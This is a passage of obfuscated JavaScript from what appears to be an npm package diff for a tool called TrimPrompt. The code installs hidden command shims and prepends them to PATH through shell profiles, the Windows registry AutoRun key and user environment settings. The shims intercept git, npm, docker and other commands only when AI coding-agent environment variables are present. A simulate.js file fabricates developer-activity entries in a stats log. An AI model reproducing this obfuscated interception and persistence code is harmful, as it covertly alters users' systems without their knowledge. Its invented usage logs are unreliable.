fs[_0x5a9072(0x1a8)](_0x543799,_0x54aee5,_0x5a9072(0x21a));}catch{}}function removeProfileBlock(_0x283ebf,_0x2a9d94){const _0x23d3fb=a0_0x5da111;try{if(!fs[_0x23d3fb(0x1f5)](_0x283ebf))return;const _0x2396d4=fs[_0x23d3fb(0x1f8)](_0x283ebf,_0x23d3fb(0x21a));if(!_0x2396d4[_0x23d3fb(0x226)](_0x2a9d94))return;const _0x23762a=_0x2396d4[_0x23d3fb(0x1e0)]('\x0a'),_0x359a26=[];let _0x57ffcd=![];for(let _0x187f01=0x0;_0x187f01<_0x23762a[_0x23d3fb(0x20f)];_0x187f01++){if(_0x23762a[_0x187f01][_0x23d3fb(0x226)](_0x2a9d94)){_0x57ffcd=!![];continue;}if(_0x57ffcd){_0x57ffcd=![];continue;}_0x359a26[_0x23d3fb(0x1a7)](_0x23762a[_0x187f01]);}const _0xb84261=_0x359a26[_0x23d3fb(0x1ed)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0x23d3fb(0x1a8)](_0x283ebf,_0xb84261,_0x23d3fb(0x21a));}catch{}}function collectPowerShellProfiles(){const _0x2786e7=a0_0x5da111,_0x38ae30=getExecSync(),_0x4a980f=[],_0x9820c4=[[_0x2786e7(0x1b1),_0x2786e7(0x20b)],[_0x2786e7(0x1b1),'$PROFILE.CurrentUserAllHosts']];try{_0x38ae30(_0x2786e7(0x1c2),{'stdio':_0x2786e7(0x204)}),_0x9820c4['push']([_0x2786e7(0x202),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x33b121,_0x428a3b]of _0x9820c4){try{const _0x60f56=_0x38ae30(_0x33b121+_0x2786e7(0x1dd)+_0x428a3b+'\x22',{'encoding':'utf8'})['trim']();_0x60f56&&!_0x4a980f[_0x2786e7(0x1ab)](_0x17d445=>_0x17d445['toLowerCase']()===_0x60f56[_0x2786e7(0x1ad)]())&&_0x4a980f['push'](_0x60f56);}catch{}}return _0x4a980f;}function getBashProfilesWindows(){const _0x45baf4=a0_0x5da111,_0x5d4dfe=os[_0x45baf4(0x1aa)]();return[_0x45baf4(0x1d1),_0x45baf4(0x1c6)][_0x45baf4(0x213)](_0x13530e=>path[_0x45baf4(0x1ed)](_0x5d4dfe,_0x13530e));}function getBroadcastCommand(){const _0x508e46=a0_0x5da111;return _0x508e46(0x21c);}function a0_0xe85d(){const _0x765c7e=['\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','pwsh','get','ignore','.trimprompt','read','win32','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.',':$PATH\x22','$PROFILE.CurrentUserCurrentHost','installShims','\x20\x22$@\x22\x0afi\x0a','-Command','length','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','npm','configurable','map','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd','__setModuleDefault','replace','utf8','\x20\x20exit\x20/b\x20%ERRORLEVEL%','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','9uuEhud','filter','\x20@args\x0a}\x0a','getOwnPropertyNames','\x20\x22$@\x22;\x20fi\x0a',';=%\x22','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','26652LJyCIQ','\x20&\x20','includes','prototype','push','writeFileSync','.profile','homedir','some','.ps1','toLowerCase','npx','defineProperty','Failed\x20to\x20uninstall\x20shims:\x20','powershell','powershell.exe','pytest','create','\x20\x20set\x20\x22PATH=%PATH:','pip','40bgHUgD','git','uninstallShims','trim.cmd','cargo','appendFileSync',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','powershell\x20-NoProfile\x20-Command\x20\x22','yarn','pipe','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','glab','392612jqvJhw','readdirSync','.bash_profile','617560XWyedH','-NoProfile','docker','default','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','\x0aexport\x20PATH=\x22','pip3','if\x20exist\x20\x22','\x0a#\x20','path','.bashrc','.zshrc','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','shims',')\x20else\x20(','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','trim','\x0a$env:PATH\x20=\x20\x22','.cmd','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','hasOwnProperty','================================================================================','\x20-NoProfile\x20-Command\x20\x22',';\x22\x20+\x20$env:PATH\x0a','\x20@args\x20}\x20else\x20{\x20&\x20','split','Remove-ItemProperty\x20-Path\x20\x27','message','755','7926NjBoTD','\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','unlinkSync','__importStar','writable','platform','\x20%*','TrimPrompt\x20Shims\x20PATH','cat','join','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','dirname','TrimPrompt\x20successfully\x20installed\x20for\x20','export\x20PATH=\x22','child_process','128956lJrapB','5003040pjRjAR','existsSync','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','__esModule','readFileSync','\x27,\x20\x27User\x27)','685NoMnWn','grep','mkdirSync','find',':$PATH\x22\x0a','4591804GpIJmp'];a0_0xe85d=function(){return _0x765c7e;};return a0_0xe85d();}function installShims(){const _0x30044a=a0_0x5da111,_0x5e6f89=path['join'](os[_0x30044a(0x1aa)](),_0x30044a(0x205),_0x30044a(0x1d4));try{!fs['existsSync'](_0x5e6f89)&&fs['mkdirSync'](_0x5e6f89,{'recursive':!![]});const _0x2ce3c4=os[_0x30044a(0x1e9)]()===_0x30044a(0x207);for(const _0x2d6241 of SHIMMED_COMMANDS){if(_0x2ce3c4){const _0x179cb1=path['join'](_0x5e6f89,_0x2d6241+_0x30044a(0x1d9)),_0x17ccde=process.env.APPDATA?path['join'](process.env.APPDATA,_0x30044a(0x211)):'',_0x252f76=_0x17ccde?path[_0x30044a(0x1ed)](_0x17ccde,_0x30044a(0x1ba)):_0x30044a(0x217),_0x3fb10d=['@echo\x20off',_0x30044a(0x208),_0x30044a(0x1b5)+_0x5e6f89+';=%\x22','\x20\x20'+_0x2d6241+'\x20%*',_0x30044a(0x21b),')',_0x30044a(0x1ce)+_0x252f76+'\x22\x20(','\x20\x20trim\x20'+_0x2d6241+_0x30044a(0x1ea),_0x30044a(0x1d5),_0x30044a(0x1b5)+_0x5e6f89+_0x30044a(0x222),'\x20\x20'+_0x2d6241+_0x30044a(0x1ea),')'][_0x30044a(0x1ed)]('\x0d\x0a')+'\x0d\x0a';fs[_0x30044a(0x1a8)](_0x179cb1,_0x3fb10d,_0x30044a(0x21a));const _0x4f909d=path[_0x30044a(0x1ed)](_0x5e6f89,_0x2d6241+_0x30044a(0x1ac)),_0x44f6a1='if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x2d6241+_0x30044a(0x1df)+_0x2d6241+_0x30044a(0x200)+_0x2d6241+_0x30044a(0x21f);fs[_0x30044a(0x1a8)](_0x4f909d,_0x44f6a1,'utf8');const _0x47bd2c=path[_0x30044a(0x1ed)](_0x5e6f89,_0x2d6241),_0x59f155=_0x5e6f89['replace'](/\\/g,'/')[_0x30044a(0x219)](/^([A-Za-z]):/,(_0xaeb655,_0x492753)=>'/'+_0x492753[_0x30044a(0x1ad)]()),_0x368722='#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x2d6241+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x59f155+':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x2d6241+_0x30044a(0x201)+_0x59f155+_0x30044a(0x1bd)+_0x2d6241+_0x30044a(0x20d);fs[_0x30044a(0x1a8)](_0x47bd2c,_0x368722,'utf8');}else{const _0x10dbe6=path['join'](_0x5e6f89,_0x2d6241),_0x12f6da=_0x30044a(0x1d3)+_0x2d6241+_0x30044a(0x1be)+_0x2d6241+_0x30044a(0x221);fs[_0x30044a(0x1a8)](_0x10dbe6,_0x12f6da,'utf8'),fs['chmodSync'](_0x10dbe6,_0x30044a(0x1e3));}}let _0x5b85cb=![],_0x35d96e='';if(_0x2ce3c4)try{const _0x1cea9e=getExecSync(),_0x7cc609=_0x30044a(0x1cf)+PROFILE_MARKER+_0x30044a(0x1d8)+_0x5e6f89+_0x30044a(0x1de),_0x25d375=collectPowerShellProfiles();for(const _0x4610ad of _0x25d375){ensureProfileContains(_0x4610ad,_0x5e6f89,_0x7cc609);}try{const _0x5abee3=_0x5e6f89['replace'](/\\/g,'/')[_0x30044a(0x219)](/^([A-Za-z]):/,(_0x5509ae,_0x379601)=>'/'+_0x379601[_0x30044a(0x1ad)]()),_0x2ce3c2=_0x30044a(0x1cf)+PROFILE_MARKER+_0x30044a(0x1cc)+_0x5abee3+_0x30044a(0x1fe),_0xe9898c=getBashProfilesWindows();let _0x49ea21=![];for(const _0x80062d of _0xe9898c){fs[_0x30044a(0x1f5)](_0x80062d)&&(ensureProfileContains(_0x80062d,_0x5abee3,_0x2ce3c2),_0x49ea21=!![]);}!_0x49ea21&&ensureProfileContains(_0xe9898c[0x0],_0x5abee3,_0x2ce3c2);}catch{}const _0x1de202=_0x30044a(0x214),_0x4897c8=_0x1cea9e(_0x30044a(0x1bf)+_0x1de202+'\x22',{'encoding':_0x30044a(0x21a),'stdio':[_0x30044a(0x1c1),'pipe',_0x30044a(0x204)]})[_0x30044a(0x1d7)]();if(!_0x4897c8[_0x30044a(0x226)](_0x5e6f89)){const _0x17186a=_0x5e6f89+';'+_0x4897c8,_0x588639=_0x17186a[_0x30044a(0x219)](/'/g,'\x27\x27'),_0x3a1d23='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x588639+_0x30044a(0x1f9);_0x1cea9e('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3a1d23+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x5d62c4=path[_0x30044a(0x1ed)](process.env.APPDATA||'',_0x30044a(0x211),'trim.ps1');if(fs[_0x30044a(0x1f5)](_0x5d62c4))try{fs[_0x30044a(0x1e6)](_0x5d62c4);}catch{}_0x5b85cb=!![];}catch(_0x112d92){_0x35d96e='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x5e6f89;}else try{const _0x40bc64=_0x30044a(0x1f1)+_0x5e6f89+_0x30044a(0x1fe),_0x3250e4=os[_0x30044a(0x1aa)](),_0x1f4ea5=[_0x30044a(0x1d1),_0x30044a(0x1d2),_0x30044a(0x1c6),'.profile'];let _0x289488=![];for(const _0x186ddd of _0x1f4ea5){const _0x43876c=path[_0x30044a(0x1ed)](_0x3250e4,_0x186ddd);fs[_0x30044a(0x1f5)](_0x43876c)&&(ensureProfileContains(_0x43876c,_0x5e6f89,_0x30044a(0x1cf)+PROFILE_MARKER+'\x0a'+_0x40bc64),_0x289488=!![]);}if(!_0x289488){const _0x38c679=path[_0x30044a(0x1ed)](_0x3250e4,'.bashrc');ensureProfileContains(_0x38c679,_0x5e6f89,_0x30044a(0x1cf)+PROFILE_MARKER+'\x0a'+_0x40bc64);}_0x5b85cb=!![];}catch(_0x23df54){_0x35d96e=_0x30044a(0x210)+_0x5e6f89+_0x30044a(0x20a);}const _0x2ef0cd=[_0x30044a(0x1dc),_0x30044a(0x223),'================================================================================',_0x30044a(0x1cb),_0x30044a(0x1f6),_0x30044a(0x1dc)][_0x30044a(0x1ed)]('\x0a'),_0x1a0289=_0x5b85cb?_0x2ef0cd:_0x30044a(0x1f0)+SHIMMED_COMMANDS['length']+_0x30044a(0x1e5)+_0x35d96e;return{'success':!![],'pathDir':_0x5e6f89,'message':_0x1a0289};}catch(_0x5a071f){return{'success':![],'pathDir':_0x5e6f89,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x5a071f[_0x30044a(0x1e2)]};}}function uninstallShims(){const _0x5873a1=a0_0x5da111,_0x1692e7=path[_0x5873a1(0x1ed)](os[_0x5873a1(0x1aa)](),'.trimprompt',_0x5873a1(0x1d4)),_0x5e1b5e=os[_0x5873a1(0x1e9)]()===_0x5873a1(0x207);try{if(_0x5e1b5e){const _0x5af225=getExecSync();try{const _0x575556=getExecFileSync(),_0x3e7908=_0x5873a1(0x1da),_0x47383e=_0x5873a1(0x1ee)+_0x3e7908+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x23b544=_0x575556(_0x5873a1(0x1b2),['-NoProfile','-Command',_0x47383e],{'encoding':_0x5873a1(0x21a),'stdio':[_0x5873a1(0x1c1),_0x5873a1(0x1c1),_0x5873a1(0x204)]})['trim']();if(_0x23b544['includes'](_0x1692e7)){const _0x487250=_0x23b544[_0x5873a1(0x1e0)](_0x5873a1(0x225))[_0x5873a1(0x21e)](_0x181631=>!_0x181631['includes'](_0x1692e7));if(_0x487250[_0x5873a1(0x20f)]===0x0){const _0x240dd9=_0x5873a1(0x1e1)+_0x3e7908+_0x5873a1(0x1d6);_0x575556('powershell.exe',[_0x5873a1(0x1c8),_0x5873a1(0x20e),_0x240dd9],{'stdio':_0x5873a1(0x204)});}else{const _0x3ec304=_0x487250[_0x5873a1(0x1ed)](_0x5873a1(0x225)),_0x592f66='Set-ItemProperty\x20-Path\x20\x27'+_0x3e7908+_0x5873a1(0x216)+_0x3ec304+'\x27';_0x575556(_0x5873a1(0x1b2),[_0x5873a1(0x1c8),_0x5873a1(0x20e),_0x592f66],{'stdio':_0x5873a1(0x204)});}}}catch{}try{const _0x550d3b=collectPowerShellProfiles();for(const _0x47a691 of _0x550d3b){removeProfileBlock(_0x47a691,PROFILE_MARKER);}}catch{}try{for(const _0xe4097a of getBashProfilesWindows()){removeProfileBlock(_0xe4097a,PROFILE_MARKER);}}catch{}try{const _0x34509d='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x5799c1=_0x5af225(_0x5873a1(0x1bf)+_0x34509d+'\x22',{'encoding':'utf8','stdio':['pipe','pipe','ignore']})[_0x5873a1(0x1d7)]();if(_0x5799c1[_0x5873a1(0x226)](_0x1692e7)){const _0x317b03=_0x5799c1[_0x5873a1(0x1e0)](';')[_0x5873a1(0x21e)](_0x337617=>_0x337617[_0x5873a1(0x1d7)]()[_0x5873a1(0x1ad)]()!==_0x1692e7[_0x5873a1(0x1ad)]())[_0x5873a1(0x1ed)](';'),_0x717a3d=_0x317b03[_0x5873a1(0x219)](/'/g,'\x27\x27'),_0x39e1bf=_0x5873a1(0x215)+_0x717a3d+_0x5873a1(0x1f9);_0x5af225(_0x5873a1(0x1bf)+_0x39e1bf+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x5873a1(0x204)});}}catch{}}else{const _0x3ea2c7=os[_0x5873a1(0x1aa)](),_0x38d813=[_0x5873a1(0x1d1),_0x5873a1(0x1d2),_0x5873a1(0x1c6),_0x5873a1(0x1a9)];for(const _0xc47503 of _0x38d813){removeProfileBlock(path[_0x5873a1(0x1ed)](_0x3ea2c7,_0xc47503),PROFILE_MARKER);}}if(fs[_0x5873a1(0x1f5)](_0x1692e7)){const _0x23ccb6=fs[_0x5873a1(0x1c5)](_0x1692e7);for(const _0x1373a5 of _0x23ccb6){fs[_0x5873a1(0x1e6)](path['join'](_0x1692e7,_0x1373a5));}fs['rmdirSync'](_0x1692e7);}return{'success':!![],'message':_0x5873a1(0x209)};}catch(_0x362caf){return{'success':![],'message':_0x5873a1(0x1b0)+_0x362caf[_0x5873a1(0x1e2)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4c3610=a0_0x314e;function a0_0x2347(){const _0x4505bd=['path','14LBCFgK','2183928pfWdIl','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','114poagLc','pip\x20install\x20tensorflow\x20pandas\x20numpy','toISOString','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','log','utf8','tracker','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','3756492nNmaog','__esModule','32285TADwWw','repeat','found\x200\x20vulnerabilities\x0a','timestamp','length','writeFileSync','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','cargo\x20test','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','claude-3-5-sonnet','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','kubectl\x20get\x20pods\x20-n\x20production','gemini-1-5-flash','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','now','267449blQLJR','cmd','test\x20tests::test_case_','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','homedir','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','random','join','cargo\x20test:\x2045\x20passed,\x200\x20failed.','54770FXykao','Completed\x203\x20of\x203\x20assets\x20successfully.','68LbqFHB','gpt-4o','git\x20diff\x20main','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','raw','comp','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','152501EHJWvE','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','git\x20log\x20-n\x205','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','exitCode','1570GsAHiN','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','floor','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','defineProperty','1595691DmZdqA','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','npm\x20run\x20lint:\x20✖\x202\x20warnings'];a0_0x2347=function(){return _0x4505bd;};return a0_0x2347();}(function(_0x2d6612,_0x3c5b8e){const _0x4f4333=a0_0x314e,_0x372be3=_0x2d6612();while(!![]){try{const _0x5b3ac5=parseInt(_0x4f4333(0x1cf))/0x1*(-parseInt(_0x4f4333(0x1de))/0x2)+parseInt(_0x4f4333(0x1e9))/0x3+-parseInt(_0x4f4333(0x206))/0x4*(-parseInt(_0x4f4333(0x204))/0x5)+-parseInt(_0x4f4333(0x1e1))/0x6*(-parseInt(_0x4f4333(0x1fb))/0x7)+parseInt(_0x4f4333(0x1df))/0x8+-parseInt(_0x4f4333(0x1d9))/0x9+parseInt(_0x4f4333(0x1d4))/0xa*(-parseInt(_0x4f4333(0x1eb))/0xb);if(_0x5b3ac5===_0x3c5b8e)break;else _0x372be3['push'](_0x372be3['shift']());}catch(_0xf8ae60){_0x372be3['push'](_0x372be3['shift']());}}}(a0_0x2347,0xb2a39));function a0_0x314e(_0x167613,_0x4a495e){_0x167613=_0x167613-0x1cf;const _0x23478d=a0_0x2347();let _0x314e13=_0x23478d[_0x167613];return _0x314e13;}Object[a0_0x4c3610(0x1d8)](exports,a0_0x4c3610(0x1ea),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x4c3610(0x1e5)](a0_0x4c3610(0x1d7));const models=[a0_0x4c3610(0x1f4),a0_0x4c3610(0x207),'gpt-4o-mini','gemini-1-5-pro',a0_0x4c3610(0x1f8),'claude-3-opus'],commands=[{'cmd':a0_0x4c3610(0x208),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x4c3610(0x1ec)](0x32),'comp':a0_0x4c3610(0x200),'exitCode':0x0},{'cmd':a0_0x4c3610(0x1f2),'raw':a0_0x4c3610(0x1e8)+a0_0x4c3610(0x1fd)[a0_0x4c3610(0x1ec)](0x28)+'\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','comp':a0_0x4c3610(0x203),'exitCode':0x0},{'cmd':'npm\x20install\x20lodash\x20express\x20uuid\x20react','raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+a0_0x4c3610(0x1ed),'comp':a0_0x4c3610(0x1f5),'exitCode':0x0},{'cmd':a0_0x4c3610(0x1f9),'raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+a0_0x4c3610(0x1d2)+a0_0x4c3610(0x1fe)+a0_0x4c3610(0x205),'comp':a0_0x4c3610(0x1e0),'exitCode':0x0},{'cmd':a0_0x4c3610(0x1f7),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x4c3610(0x1da)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x4c3610(0x20d)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x4c3610(0x1d5),'exitCode':0x0},{'cmd':a0_0x4c3610(0x1e2),'raw':a0_0x4c3610(0x1f1)+a0_0x4c3610(0x20c)+a0_0x4c3610(0x1f6),'comp':a0_0x4c3610(0x1db),'exitCode':0x0},{'cmd':a0_0x4c3610(0x1d1),'raw':a0_0x4c3610(0x209)+a0_0x4c3610(0x1e4),'comp':a0_0x4c3610(0x1f3),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x4c3610(0x1d0)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0x4c3610(0x1dc),'exitCode':0x0}],startTime=Date[a0_0x4c3610(0x1fa)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x4c3610(0x1ef)]],commandItem=commands[Math[a0_0x4c3610(0x1d6)](Math[a0_0x4c3610(0x201)]()*commands[a0_0x4c3610(0x1ef)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4c3610(0x1e3)](),log=tracker_1[a0_0x4c3610(0x1e7)]['logExecution'](commandItem[a0_0x4c3610(0x1fc)],commandItem[a0_0x4c3610(0x20a)],commandItem[a0_0x4c3610(0x20b)],commandItem[a0_0x4c3610(0x1d3)]),logs=tracker_1[a0_0x4c3610(0x1e7)]['getLogs']();logs['length']>0x0&&(logs[logs['length']-0x1][a0_0x4c3610(0x1ee)]=timestamp,require('fs')[a0_0x4c3610(0x1f0)](require(a0_0x4c3610(0x1dd))[a0_0x4c3610(0x202)](require('os')[a0_0x4c3610(0x1ff)](),'.trimprompt','stats.json'),JSON['stringify'](logs,null,0x2),a0_0x4c3610(0x1e6)));}console[a0_0x4c3610(0x1e5)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
1
+ 'use strict';const a0_0x202bb5=a0_0x273e;(function(_0x35015c,_0x107ba1){const _0x4defb2=a0_0x273e,_0x56da66=_0x35015c();while(!![]){try{const _0x285722=parseInt(_0x4defb2(0xa8))/0x1*(-parseInt(_0x4defb2(0xd5))/0x2)+-parseInt(_0x4defb2(0xb1))/0x3*(-parseInt(_0x4defb2(0xab))/0x4)+parseInt(_0x4defb2(0xa7))/0x5+-parseInt(_0x4defb2(0xbb))/0x6*(-parseInt(_0x4defb2(0xd4))/0x7)+-parseInt(_0x4defb2(0xe1))/0x8*(-parseInt(_0x4defb2(0xde))/0x9)+-parseInt(_0x4defb2(0xcc))/0xa+-parseInt(_0x4defb2(0xce))/0xb*(parseInt(_0x4defb2(0xb9))/0xc);if(_0x285722===_0x107ba1)break;else _0x56da66['push'](_0x56da66['shift']());}catch(_0x159bc){_0x56da66['push'](_0x56da66['shift']());}}}(a0_0x3e79,0x18ba0));Object[a0_0x202bb5(0xcb)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x202bb5(0xc2));console[a0_0x202bb5(0xc4)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');const 